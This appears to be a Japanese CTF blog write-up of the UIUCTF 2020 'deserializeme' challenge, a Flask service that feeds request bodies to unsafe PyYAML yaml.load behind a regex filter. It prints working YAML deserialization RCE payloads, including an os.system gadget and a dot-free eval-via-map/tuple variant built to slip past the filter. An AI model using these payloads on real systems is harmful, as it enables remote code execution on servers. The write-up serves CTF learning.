はまやんはまやんはまやん

hamayanhamayan's blog

deserializeme [UIUCTF 2020]

CTFtime.org / UIUCTF 2020 / deserializeme

This service deserializes whatever you send it. Can you pwn it?
https://deserializeme.chal.uiuc.tf/
author: arxenix

ソースコードも与えられる。
以下抜粋。flag.txtというファイルも直下にあり、そこにフラグがあるようだ。

@app.route('/', methods=["POST"])
def pwnme():
    if not re.fullmatch(b"^[\n --/-\]a-}]*$", request.data, flags=re.MULTILINE):
        return "Nice try!", 400
    return yaml.load(request.data)

requirements.txtも与えられている。YAMLのパーサーが特徴的。

Flask==1.1.2
PyYAML==5.3.1
  • 正規表現のフィルターを回避?
    • if not re.fullmatch(b"^[\n --/-\]a-}]*$", request.data, flags=re.MULTILINE):
  • YAMLへの攻撃? YAML Deserialization Attack?

解説を見る

  • uiuctf 2020 - HackMD
  • これ? !!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ 'PAYLOAD_HERE' ]]]

PyYAMLはunsafeなの?

えー、ちゃんとソースコードが与えられたら環境を作って実行してみなさい。という話。
実際に動かしてみると、以下のような警告が出る。

app.py:13: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.

ちょっとググると情報が出てくる。
PyYAMLがyaml.loadでYAMLLoadWarningを出してくるようになった件 - Qiita

警告によると、つまり現在はunsafeな状態にあるようだ。

どうunsafe?

PyYAML yaml.load(input) Deprecation · yaml/pyyaml Wiki-Deprecation)
RCEができるようだ。
つまりは、YAML Deserialization Attack、安全でないデシリアライゼーションといった感じ。
ここにあるサンプルをまずは試してみよう。

!!python/object/new:os.system [echo EXPLOIT!]

ふむ。フィルタリング条件を見てみると、ドットが入っているのがだめらしい。
ということで、ドット抜きで構成したRCE用YAML
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ 'PAYLOAD_HERE' ]]]
となる。何が起きているのかさっぱりわからん。

使えそうなペイロードを以下にまとめとく。